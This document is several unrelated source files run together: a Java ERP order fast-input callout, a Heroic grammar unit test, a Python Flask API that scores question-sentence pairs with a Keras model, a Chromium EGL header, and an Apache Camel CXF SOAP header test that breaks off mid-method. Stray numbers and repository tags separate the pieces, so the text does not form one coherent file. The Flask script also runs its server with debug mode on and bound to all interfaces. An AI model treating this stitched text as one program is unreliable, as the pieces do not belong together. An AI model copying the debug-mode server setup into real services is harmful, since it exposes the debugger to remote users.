OrderFastInput extends CalloutEngine { public static final String OL_DONT_UPDATE_ORDER = "OrderFastInput_DontUpdateOrder_ID_"; private static final String ZERO_WEIGHT_PRODUCT_ADDED = "OrderFastInput.ZeroWeightProductAdded"; private static final CompositeOrderFastInputHandler handlers = new CompositeOrderFastInputHandler(new ProductQtyOrderFastInputHandler()); @VisibleForTesting static final Logger logger = LogManager.getLogger(OrderFastInput.class); public static void addOrderFastInputHandler(final IOrderFastInputHandler handler) { handlers.addHandler(handler); } public String cBPartnerId(final ICalloutField calloutField) { if (isCalloutActive()) { return NO_ERROR; } final I_C_Order order = calloutField.getModel(I_C_Order.class); if (!order.isSOTrx()) { return NO_ERROR; } if (order.getC_BPartner_ID() > 0) { final ICalloutRecord calloutRecord = calloutField.getCalloutRecord(); if (setShipperId(order, true) && !Check.isEmpty(order.getReceivedVia()) && calloutRecord.dataSave(false)) { calloutRecord.dataRefresh(); } } selectFocus(calloutField); return NO_ERROR; } public String mShipperId(final ICalloutField calloutField) { if (isCalloutActive()) { return NO_ERROR; } final I_C_Order order = calloutField.getModel(I_C_Order.class); if (!order.isSOTrx()) { return NO_ERROR; } // nothing to do right now... return NO_ERROR; } private boolean setShipperId(final I_C_Order order, final boolean force) { if (!force && order.getM_Shipper_ID() > 0) { return true; } final BPartnerId bpartnerId = BPartnerId.ofRepoIdOrNull(order.getC_BPartner_ID()); if (bpartnerId != null) { // try to set the shipperId using BPartner final ShipperId shipperId = Services.get(IBPartnerDAO.class).getShipperId(bpartnerId); if (shipperId != null) { order.setM_Shipper_ID(shipperId.getRepoId()); return true; } } return false; } public String mProduct(final ICalloutField calloutField) { if (isCalloutActive()) { return NO_ERROR; } final String msg = evalProductQtyInput(calloutField); selectFocus(calloutField); return msg; } public String qtyFastInput(final ICalloutField calloutField) { final String msg = evalProductQtyInput(calloutField); selectFocus(calloutField); return msg; } private IInfoWindowGridRowBuilders getOrderLineBuilders(final ICalloutField calloutField) { final I_C_Order order = calloutField.getModel(I_C_Order.class); // // First try: check if we already have builders from recently opened Info window final Properties ctx = calloutField.getCtx(); final int windowNo = calloutField.getWindowNo(); final IInfoWindowGridRowBuilders builders = InfoWindowGridRowBuilders.getFromContextOrNull(ctx, windowNo); if (builders != null) { logger.info("Got IInfoWindowGridRowBuilders from ctx for windowNo={}: {}", new Object[] { windowNo, builders }); return builders; } // // Second try: Single product/qty case final int productId = order.getM_Product_ID(); if (productId <= 0) { logger.info("Constructed NullInfoWindowGridRowBuilders, because order.getM_Product_ID()={}", productId); return NullInfoWindowGridRowBuilders.instance; } final GridTab gridTab = getGridTab(calloutField); if (gridTab == null) { return NullInfoWindowGridRowBuilders.instance; } final InfoWindowGridRowBuilders singletonBuilder = new InfoWindowGridRowBuilders(); final IGridTabRowBuilder builder = handlers.createLineBuilderFromHeader(gridTab); builder.setSource(order); singletonBuilder.addGridTabRowBuilder(productId, builder); logger.info("Constructed singleton IInfoWindowGridRowBuilders: {}", singletonBuilder); return singletonBuilder; } public String evalProductQtyInput(final ICalloutField calloutField) { final I_C_Order order = calloutField.getModel(I_C_Order.class); final IInfoWindowGridRowBuilders orderLineBuilders = getOrderLineBuilders(calloutField); final Set<Integer> recordIds = orderLineBuilders.getRecordIds(); if (recordIds.isEmpty()) { return NO_ERROR; // nothing was selected } // metas kh: US840: show a warning if the new Product has a Weight <= 0 // checkWeight(productIds, WindowNo); // clear the values in the order window // using invokeLater because at the time of this callout invocation we // are most probably in the mid of something that might prevent // changes to the actual swing component final boolean saveRecord = true; clearFieldsLater(calloutField, saveRecord); for (final int recordId : recordIds) { final IGridTabRowBuilder builder = orderLineBuilders.getGridTabRowBuilder(recordId); log.debug("Calling addOrderLine for recordId={} and with builder={}", recordId, builder); addOrderLine(calloutField.getCtx(), order, builder::apply); } calloutField.getCalloutRecord().dataRefreshRecursively(); // make sure that the freight amount is up to date final FreightCostRule freightCostRule = FreightCostRule.ofNullableCode(order.getFreightCostRule()); if (freightCostRule.isNotFixPrice()) { final OrderFreightCostsService orderFreightCostService = Adempiere.getBean(OrderFreightCostsService.class); orderFreightCostService.updateFreightAmt(order); } return NO_ERROR; } private void clearFieldsLater(final ICalloutField calloutField, final boolean save) { Services.get(IClientUI.class).invokeLater(calloutField.getWindowNo(), () -> clearFields(calloutField, save)); } public static I_C_OrderLine addOrderLine( final Properties ctx, final I_C_Order order, final Consumer<I_C_OrderLine> orderLineCustomizer) { final IOrderLineBL orderLineBL = Services.get(IOrderLineBL.class); final I_C_OrderLine ol = orderLineBL.createOrderLine(order); orderLineCustomizer.accept(ol); // note that we also get the M_Product_ID from the builder if (ol.getC_UOM_ID() <= 0 && ol.getM_Product_ID() > 0) { // the builders did provide a product, but no UOM, so we take the product's stocking UOM final UomId stockingUOMId = Services.get(IProductBL.class).getStockUOMId(ol.getM_Product_ID()); ol.setC_UOM_ID(stockingUOMId.getRepoId()); } // start: cg: 01717 // TODO: i think we shall remove this because createOrderLine also does exactly this thing (seems like it's copy-pasted) if (order.isSOTrx() && order.isDropShip()) { final BPartnerLocationAndCaptureId bpLocationId = Services.get(IOrderBL.class).getShipToLocationId(order); final int AD_User_ID = order.getDropShip_User_ID() > 0 ? order.getDropShip_User_ID() : order.getAD_User_ID(); OrderLineDocumentLocationAdapterFactory .locationAdapter(ol) .setFrom(DocumentLocation.builder() .bpartnerId(bpLocationId.getBpartnerId()) .bpartnerLocationId(bpLocationId.getBpartnerLocationId()) .locationId(bpLocationId.getLocationCaptureId()) .contactId(BPartnerContactId.ofRepoIdOrNull(bpLocationId.getBpartnerId(), AD_User_ID)) .build()); } // end: cg: 01717 // 3834 final ProductId productId = ProductId.ofRepoId(ol.getM_Product_ID()); final BPartnerId partnerId = BPartnerId.ofRepoId(ol.getC_BPartner_ID()); Services.get(IBPartnerProductBL.class).assertNotExcludedFromSaleToCustomer(productId, partnerId); // // set the prices before saveEx, because otherwise, priceEntered is // reset and that way IOrderLineBL.setPrices can't tell whether it // should use priceEntered or a computed price. if (!ol.isManualPrice()) { ol.setPriceEntered(BigDecimal.ZERO); } orderLineBL.updatePrices(OrderLinePriceUpdateRequest.builder() .orderLine(ol) .resultUOM(ResultUOM.PRICE_UOM) .updatePriceEnteredAndDiscountOnlyIfNotAlreadySet(true) .updateLineNetAmt(true) .build()); // // set OL_DONT_UPDATE_ORDER to inform the ol's model validator not to update the order final String dontUpdateOrderLock = OL_DONT_UPDATE_ORDER + order.getC_Order_ID(); Env.setContext(ctx, dontUpdateOrderLock, true); try { InterfaceWrapperHelper.save(ol); } finally { Env.removeContext(ctx, dontUpdateOrderLock); } return ol; } /** * Checks if the Weight of the given Product is zero or less and shows a warning if so. * * @param product * @param WindowNo */ void checkWeight(final Set<Integer> productIds, final int windowNo) { if (productIds == null || productIds.isEmpty()) { return; } final StringBuilder invalidProducts = new StringBuilder(); for (final Integer productId : productIds) { if (productId == null || productId <= 0) { continue; } final I_M_Product product = Services.get(IProductDAO.class).getById(productId); // // 07074: Switch off weight check for all Products which are not "Artikel" (type = item) if (!X_M_Product.PRODUCTTYPE_Item.equals(product.getProductType())) { continue; } if (product.getWeight().signum() <= 0) { if (invalidProducts.length() > 0) { invalidProducts.append(", "); } invalidProducts.append(product.getName()); } } if (invalidProducts.length() > 0) { final IClientUI factory = Services.get(IClientUI.class); factory.warn(windowNo, ZERO_WEIGHT_PRODUCT_ADDED, invalidProducts.toString()); } } private void selectFocus(final ICalloutField calloutField) { final I_C_Order order = calloutField.getModel(I_C_Order.class); final Integer bPartnerId = order.getC_BPartner_ID(); final GridTab mTab = getGridTab(calloutField); if (mTab == null) { return; } if (bPartnerId <= 0 && mTab.getField(COLUMNNAME_C_BPartner_ID).isDisplayed(true)) { mTab.getField(COLUMNNAME_C_BPartner_ID).requestFocus(); return; } // received via is not so important anymore, so don't request focus on it // final String receivedVia = order.getReceivedVia(); // if (Util.isEmpty(receivedVia)) { // mTab.getField(RECEIVED_VIA).requestFocus(); // return; // } final Integer shipperId = order.getM_Shipper_ID(); if (shipperId <= 0 && mTab.getField(COLUMNNAME_M_Shipper_ID).isDisplayed(true)) { mTab.getField(COLUMNNAME_M_Shipper_ID).requestFocus(); return; } // // Ask handlers to request focus handlers.requestFocus(mTab); } public static void clearFields(final ICalloutField calloutField, final boolean save) { clearFields(calloutField.getCalloutRecord(), save); } @Deprecated public static void clearFields(final ICalloutRecord calloutRecord, final boolean save) { final GridTab gridTab = GridTab.fromCalloutRecordOrNull(calloutRecord); if (gridTab == null) { return; } handlers.clearFields(gridTab); if (save) { gridTab.dataSave(true); } } @Deprecated private final static GridTab getGridTab(final ICalloutField calloutField) { final ICalloutRecord calloutRecord = calloutField.getCalloutRecord(); return GridTab.fromCalloutRecordOrNull(calloutRecord); } }
5,158
898
package com.spotify.heroic.grammar; import com.fasterxml.jackson.annotation.JsonTypeName; import org.junit.Test; import org.mockito.Mockito; import static org.junit.Assert.assertEquals; import static org.mockito.Mockito.doReturn; public class ContextTest { private final Context c1 = new Context(0, 0, 10, 10); private final Context c2 = new Context(10, 10, 20, 20); @Test public void joinTest() { assertEquals(new Context(0, 0, 20, 20), c1.join(c2)); } @Test public void nameTest() { assertEquals("a", Context.name(A.class)); assertEquals("B", Context.name(B.class)); } @Test public void errorTest() { final ParseException p = c1.error("message"); assertEquals("0:0: message", p.getMessage()); assertEquals(null, p.getCause()); assertEquals(0, p.getLine()); assertEquals(0, p.getCol()); assertEquals(10, p.getLineEnd()); assertEquals(10, p.getColEnd()); } @Test public void errorTestCause() { final Exception e = new Exception("message"); final ParseException p = c1.error(e); assertEquals("0:0: " + e.getMessage(), p.getMessage()); assertEquals(e, p.getCause()); assertEquals(0, p.getLine()); assertEquals(0, p.getCol()); assertEquals(10, p.getLineEnd()); assertEquals(10, p.getColEnd()); } @Test public void castErrorTest() { final Expression o = Mockito.mock(Expression.class); doReturn("object").when(o).toRepr(); final ParseException p = c1.castError(o, A.class); assertEquals("0:0: object cannot be cast to a", p.getMessage()); assertEquals(null, p.getCause()); assertEquals(0, p.getLine()); assertEquals(0, p.getCol()); assertEquals(10, p.getLineEnd()); assertEquals(10, p.getColEnd()); } @Test public void scopeLookupErrorTest() { final ParseException p = c1.scopeLookupError("foo"); assertEquals("0:0: cannot find reference (foo) in the current scope", p.getMessage()); assertEquals(null, p.getCause()); assertEquals(0, p.getLine()); assertEquals(0, p.getCol()); assertEquals(10, p.getLineEnd()); assertEquals(10, p.getColEnd()); } @JsonTypeName("a") interface A { } interface B { } }
1,031
690
<gh_stars>100-1000 #!/usr/bin/python3 # # This script loads keras model and pre-trained weights for sentence/property selection # and starts REST API for scoring question - sentence pairs. # # Usage: ./tools/scoring-api.py MODEL TASK VOCAB WEIGHTS [PARAM=VALUE]... # Example: ./tools/scoring-api.py rnn data/anssel/yodaqa/curatedv2-training.csv weights/weights-rnn-38a84de439de6337-bestval.h5 'loss="binary_crossentropy"' # # The script listens on given (as "port" config parameter) or default (5050) # port and accepts JSON (on http://address:port/score) in the following format: # # {"qtext":"QUESTION_TEXT","atext":["SENTENCE1", "SENTENCE2", ...]} # # Example: # # curl -H "Content-Type: application/json" -X POST \ # -d '{"qtext":"what country is the grand bahama island in","atext":["contained by", "contained in", "contained"]}' \ # http://localhost:5001/score # # The response is JSON object with key "score" and value containing list of scores, one for each label given # {"score":[SCORE1, SCORE2, ...]} # # This is a work in progress, the API may not be stable. anssel-specific at the moment. from __future__ import print_function from __future__ import division from flask import * import csv import importlib from nltk.tokenize import word_tokenize import sys import tempfile import pysts.embedding as emb from train import config import models # importlib python3 compatibility requirement import tasks # Unused imports for evaluating commandline params from keras.layers.recurrent import SimpleRNN, GRU, LSTM from pysts.kerasts.objectives import ranknet, ranksvm, cicerons_1504 import pysts.kerasts.blocks as B # Support compiling rnn on CPU (XXX move to a better, more generic place) sys.setrecursionlimit(10000) app = Flask(__name__) def load_anssel_samples(qtext, atexts): samples = [] qtext = word_tokenize(qtext) for atext in atexts: atext = word_tokenize(atext) samples.append({'qtext': ' '.join(qtext), 'label': 0, 'atext': ' '.join(atext)}) return samples def write_csv(file, samples): outcsv = csv.DictWriter(file, fieldnames=['qtext', 'label', 'atext']) outcsv.writeheader() for s in samples: s2 = ({k: v.encode("utf-8") for k, v in s.items() if k != 'label'}) s2['label'] = s['label'] outcsv.writerow(s2) @app.route('/score', methods=['POST']) def get_score(): if (request.json['atext'] == []): return jsonify({'score': []}), 200 print("%d atexts for <<%s>>" % (len(request.json['atext']), request.json['qtext'])) f = tempfile.NamedTemporaryFile(mode='w') # FIXME: Avoid temporary files!!! write_csv(f.file, load_anssel_samples(request.json['qtext'], request.json['atext'])) f.file.close() gr, y, _ = task.load_set(f.name) # XXX: 'score' assumed res = task.predict(model, gr) return jsonify({'score': res}), 200 if __name__ == "__main__": modelname, taskname, vocabf, weightsf = sys.argv[1:5] params = sys.argv[5:] model_module = importlib.import_module('.'+modelname, 'models') task_module = importlib.import_module('.'+taskname, 'tasks') task = task_module.task() conf, ps, h = config(model_module.config, task.config, params) task.set_conf(conf) print(ps) # TODO we should be able to get away with actually *not* loading # this at all! if conf['embdim'] is not None: print('GloVe') task.emb = emb.GloVe(N=conf['embdim']) else: task.emb = None print('Dataset') task.load_vocab(vocabf) print('Model') task.c['skip_oneclass'] = False # load_samples() returns oneclass model = task.build_model(model_module.prep_model) print(weightsf) model.load_weights(weightsf) print("Running...") app.run(port=conf.get('port', 5050), host='::', debug=True, use_reloader=False)
1,452
575
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef UI_GL_GL_DISPLAY_EGL_UTIL_H_ #define UI_GL_GL_DISPLAY_EGL_UTIL_H_ #include <vector> #include "third_party/khronos/EGL/egl.h" #include "ui/gl/gl_export.h" #include "ui/gl/gl_surface_egl.h" namespace gl { // Utility singleton class that helps to set additional egl properties. This // class should be implemented by each platform except Ozone. In case of Ozone, // there is a common implementation that forwards calls to a public interface of // a platform. // The reason why it is defined here in ui/gl is that ui/gl cannot depend on // ozone and we have to provide an interface here. ui/gl/init will provide an // implementation for this utility class upon initialization of gl. class GL_EXPORT GLDisplayEglUtil { public: // Returns either set instance or stub instance. static GLDisplayEglUtil* GetInstance(); static void SetInstance(GLDisplayEglUtil* gl_display_util); // Returns display attributes for the given |platform_type|. Each platform can // have different attributes. virtual void GetPlatformExtraDisplayAttribs( EGLenum platform_type, std::vector<EGLAttrib>* attributes) = 0; // Sets custom alpha and buffer size for a given platform. By default, the // values are not modified. virtual void ChoosePlatformCustomAlphaAndBufferSize(EGLint* alpha_size, EGLint* buffer_size) = 0; protected: virtual ~GLDisplayEglUtil() = default; }; } // namespace gl #endif // UI_GL_GL_DISPLAY_EGL_UTIL_H_
552
4,262
<reponame>rikvb/camel /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.camel.component.cxf.soap.headers; import java.io.StringReader; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.xml.bind.JAXBContext; import javax.xml.bind.JAXBElement; import javax.xml.bind.JAXBException; import javax.xml.namespace.QName; import javax.xml.transform.Source; import javax.xml.transform.dom.DOMSource; import javax.xml.ws.BindingProvider; import javax.xml.ws.Endpoint; import javax.xml.ws.Holder; import org.w3c.dom.Node; import org.apache.camel.CamelContext; import org.apache.camel.Exchange; import org.apache.camel.ExchangePattern; import org.apache.camel.Processor; import org.apache.camel.ProducerTemplate; import org.apache.camel.component.cxf.CXFTestSupport; import org.apache.camel.component.cxf.CxfEndpoint; import org.apache.camel.component.cxf.CxfPayload; import org.apache.camel.component.cxf.common.header.CxfHeaderFilterStrategy; import org.apache.camel.component.cxf.common.header.MessageHeaderFilter; import org.apache.camel.component.cxf.common.message.CxfConstants; import org.apache.camel.support.DefaultExchange; import org.apache.cxf.binding.soap.SoapHeader; import org.apache.cxf.endpoint.Client; import org.apache.cxf.headers.Header; import org.apache.cxf.headers.Header.Direction; import org.apache.cxf.helpers.CastUtils; import org.apache.cxf.jaxb.JAXBDataBinding; import org.apache.cxf.message.MessageContentsList; import org.apache.cxf.outofband.header.OutofBandHeader; import org.apache.cxf.staxutils.StaxUtils; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit.jupiter.SpringExtension; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNull; import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.fail; /** * This test suite verifies message header filter features */ @ExtendWith(SpringExtension.class) @ContextConfiguration public class CxfMessageHeadersRelayTest { static int portE1 = CXFTestSupport.getPort("CxfMessageHeadersRelayTest.1"); static int portE2 = CXFTestSupport.getPort("CxfMessageHeadersRelayTest.2"); static int portE3 = CXFTestSupport.getPort("CxfMessageHeadersRelayTest.3"); static int portE4 = CXFTestSupport.getPort("CxfMessageHeadersRelayTest.4"); static int portE5 = CXFTestSupport.getPort("CxfMessageHeadersRelayTest.5"); private static final Logger LOG = LoggerFactory.getLogger(CxfMessageHeadersRelayTest.class); @Autowired protected CamelContext context; protected ProducerTemplate template; private Endpoint relayEndpoint; private Endpoint noRelayEndpoint; private Endpoint relayEndpointWithInsertion; @BeforeEach public void setUp() throws Exception { template = context.createProducerTemplate(); relayEndpoint = Endpoint.publish("http://localhost:" + CXFTestSupport.getPort1() + "/CxfMessageHeadersRelayTest/HeaderService/", new HeaderTesterImpl()); noRelayEndpoint = Endpoint.publish("http://localhost:" + CXFTestSupport.getPort2() + "/CxfMessageHeadersRelayTest/HeaderService/", new HeaderTesterImpl(false)); relayEndpointWithInsertion = Endpoint.publish("http://localhost:" + CXFTestSupport.getPort3() + "/CxfMessageHeadersRelayTest/HeaderService/", new HeaderTesterWithInsertionImpl()); } @AfterEach public void tearDown() throws Exception { if (relayEndpoint != null) { relayEndpoint.stop(); relayEndpoint = null; } if (noRelayEndpoint != null) { noRelayEndpoint.stop(); noRelayEndpoint = null; } if (relayEndpointWithInsertion != null) { relayEndpointWithInsertion.stop(); relayEndpointWithInsertion = null; } } protected static void addOutOfBoundHeader(HeaderTester proxy, boolean invalid) throws JAXBException { InvocationHandler handler = Proxy.getInvocationHandler(proxy); BindingProvider bp = null; try { if (handler instanceof BindingProvider) { bp = (BindingProvider) handler; Map<String, Object> requestContext = bp.getRequestContext(); requestContext.put(Header.HEADER_LIST, buildOutOfBandHeaderList(invalid)); } } catch (JAXBException ex) { throw ex; } } @Test public void testInHeaderCXFClientRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE1 + "/CxfMessageHeadersRelayTest/HeaderService/"); InHeader me = new InHeader(); me.setRequestType("CXF user"); InHeaderResponse response = proxy.inHeader(me, Constants.IN_HEADER_DATA); assertEquals("pass", response.getResponseType(), "Expected in band header to propagate but it didn't"); } @Test public void testOutHeaderCXFClientRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE1 + "/CxfMessageHeadersRelayTest/HeaderService/"); OutHeader me = new OutHeader(); me.setRequestType("CXF user"); Holder<OutHeaderResponse> result = new Holder<>(new OutHeaderResponse()); Holder<SOAPHeaderData> header = new Holder<>(new SOAPHeaderData()); proxy.outHeader(me, result, header); assertEquals("pass", result.value.getResponseType(), "Expected in band header to propagate but it didn't"); assertTrue(Constants.equals(Constants.OUT_HEADER_DATA, header.value), "Expected in band response header to propagate but it either didn't " + " or its contents do not match"); } @Test public void testInOutHeaderCXFClientRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE1 + "/CxfMessageHeadersRelayTest/HeaderService/"); InoutHeader me = new InoutHeader(); me.setRequestType("CXF user"); Holder<SOAPHeaderData> header = new Holder<>(Constants.IN_OUT_REQUEST_HEADER_DATA); InoutHeaderResponse result = proxy.inoutHeader(me, header); assertEquals("pass", result.getResponseType(), "Expected in band header to propagate but it didn't"); assertTrue(Constants.equals(Constants.IN_OUT_RESPONSE_HEADER_DATA, header.value), "Expected in band response header to propagate but it either didn't " + " or its contents do not match"); } @Test public void testInOutOfBandHeaderCXFClientRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE1 + "/CxfMessageHeadersRelayTest/HeaderService/"); addOutOfBoundHeader(proxy, false); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); Me response = proxy.inOutOfBandHeader(me); assertEquals("pass", response.getFirstName(), "Expected the out of band header to propagate but it didn't"); } @Test public void testInoutOutOfBandHeaderCXFClientRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE1 + "/CxfMessageHeadersRelayTest/HeaderService/"); addOutOfBoundHeader(proxy, false); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); Me response = proxy.inoutOutOfBandHeader(me); assertEquals("pass", response.getFirstName(), "Expected the out of band header to propagate but it didn't"); validateReturnedOutOfBandHeader(proxy); } @Test public void testInoutOutOfBandHeaderCXFClientRelayWithHeaderInsertion() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortRelayWithInsertion(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE2 + "/CxfMessageHeadersRelayTest/HeaderService/"); addOutOfBoundHeader(proxy, false); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); Me response = proxy.inoutOutOfBandHeader(me); assertEquals("pass", response.getFirstName(), "Expected the out of band header to propagate but it didn't"); InvocationHandler handler = Proxy.getInvocationHandler(proxy); BindingProvider bp = null; if (!(handler instanceof BindingProvider)) { fail("Unable to cast dynamic proxy InocationHandler to BindingProvider type"); } bp = (BindingProvider) handler; Map<String, Object> responseContext = bp.getResponseContext(); validateReturnedOutOfBandHeaderWithInsertion(responseContext, true); } @Test public void testOutOutOfBandHeaderCXFClientRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE1 + "/CxfMessageHeadersRelayTest/HeaderService/"); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); Me response = proxy.outOutOfBandHeader(me); assertEquals("pass", response.getFirstName(), "Expected the out of band header to propagate but it didn't"); validateReturnedOutOfBandHeader(proxy); } @Test public void testInOutOfBandHeaderCXFClientNoRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortNoRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE3 + "/CxfMessageHeadersRelayTest/HeaderService/"); addOutOfBoundHeader(proxy, false); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); Me response = proxy.inOutOfBandHeader(me); assertEquals("pass", response.getFirstName(), "Expected the in out of band header *not* to propagate but it did"); } @Test public void testOutOutOfBandHeaderCXFClientNoRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortNoRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE3 + "/CxfMessageHeadersRelayTest/HeaderService/"); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); Thread.sleep(5000); Me response = proxy.outOutOfBandHeader(me); assertEquals("pass", response.getFirstName(), "Expected the out out of band header *not* to propagate but it did"); validateReturnedOutOfBandHeader(proxy, false); } @Test public void testInoutOutOfBandHeaderCXFClientNoRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortNoRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE3 + "/CxfMessageHeadersRelayTest/HeaderService/"); addOutOfBoundHeader(proxy, false); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); Me response = proxy.inoutOutOfBandHeader(me); assertEquals("pass", response.getFirstName(), "Expected the in out of band header to *not* propagate but it did"); validateReturnedOutOfBandHeader(proxy, false); } @Test public void testInHeaderCXFClientNoRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortNoRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE3 + "/CxfMessageHeadersRelayTest/HeaderService/"); InHeader me = new InHeader(); me.setRequestType("CXF user"); InHeaderResponse response = null; try { response = proxy.inHeader(me, Constants.IN_HEADER_DATA); } catch (Exception e) { // do nothing } assertEquals("pass", response.getResponseType(), "Expected in in band header *not* to propagate but it did"); } @Test public void testOutHeaderCXFClientNoRelay() throws Exception { Thread.sleep(5000); HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortNoRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE3 + "/CxfMessageHeadersRelayTest/HeaderService/"); OutHeader me = new OutHeader(); me.setRequestType("CXF user"); Holder<OutHeaderResponse> result = new Holder<>(new OutHeaderResponse()); Holder<SOAPHeaderData> header = new Holder<>(new SOAPHeaderData()); try { proxy.outHeader(me, result, header); } catch (Exception e) { // do nothing } assertEquals("pass", result.value.getResponseType(), "Ultimate remote HeaderTester.outHeader() destination was not reached"); assertNull(header.value, "Expected in band response header *not* to propagate but it did"); } @Test public void testInoutHeaderCXFClientNoRelay() throws Exception { HeaderService s = new HeaderService( getClass().getClassLoader().getResource("soap_header.wsdl"), HeaderService.SERVICE); HeaderTester proxy = s.getSoapPortNoRelay(); ((BindingProvider) proxy).getRequestContext() .put(BindingProvider.ENDPOINT_ADDRESS_PROPERTY, "http://localhost:" + portE3 + "/CxfMessageHeadersRelayTest/HeaderService/"); InoutHeader me = new InoutHeader(); me.setRequestType("CXF user"); Holder<SOAPHeaderData> header = new Holder<>(Constants.IN_OUT_REQUEST_HEADER_DATA); InoutHeaderResponse result = null; try { result = proxy.inoutHeader(me, header); } catch (Exception e) { // do nothing } assertEquals("pass", result.getResponseType(), "Expected in band out header *not* to propagate but it did"); assertNull(header.value, "Expected in band response header *not* to propagate but did"); } @Test public void testInoutHeaderCXFClientNoServiceClassNoRelay() throws Exception { // TODO: Fix this test later QName qname = QName.valueOf("{http://apache.org/camel/component/cxf/soap/headers}SOAPHeaderInfo"); String uri = "cxf:bean:routerNoRelayNoServiceClassEndpoint?headerFilterStrategy=#dropAllMessageHeadersStrategy"; String requestHeader = "<ns2:SOAPHeaderInfo xmlns:ns2=\"http://apache.org/camel/" + "component/cxf/soap/headers\"><originator>CxfSoapHeaderRoutePropagationTest.testInOutHeader Requestor" + "</originator><message>Invoking CxfSoapHeaderRoutePropagationTest.testInOutHeader() Request" + "</message></ns2:SOAPHeaderInfo>"; String requestBody = "<ns2:inoutHeader xmlns:ns2=\"http://apache.org/camel/component/cxf/soap/headers\">" + "<requestType>CXF user</requestType></ns2:inoutHeader>"; List<Source> elements = new ArrayList<>(); elements.add(new DOMSource(StaxUtils.read(new StringReader(requestBody)).getDocumentElement())); final List<SoapHeader> headers = new ArrayList<>(); headers.add(new SoapHeader( qname, StaxUtils.read(new StringReader(requestHeader)).getDocumentElement())); final CxfPayload<SoapHeader> cxfPayload = new CxfPayload<>(headers, elements, null); Exchange exchange = template.request(uri, new Processor() { public void process(Exchange exchange) 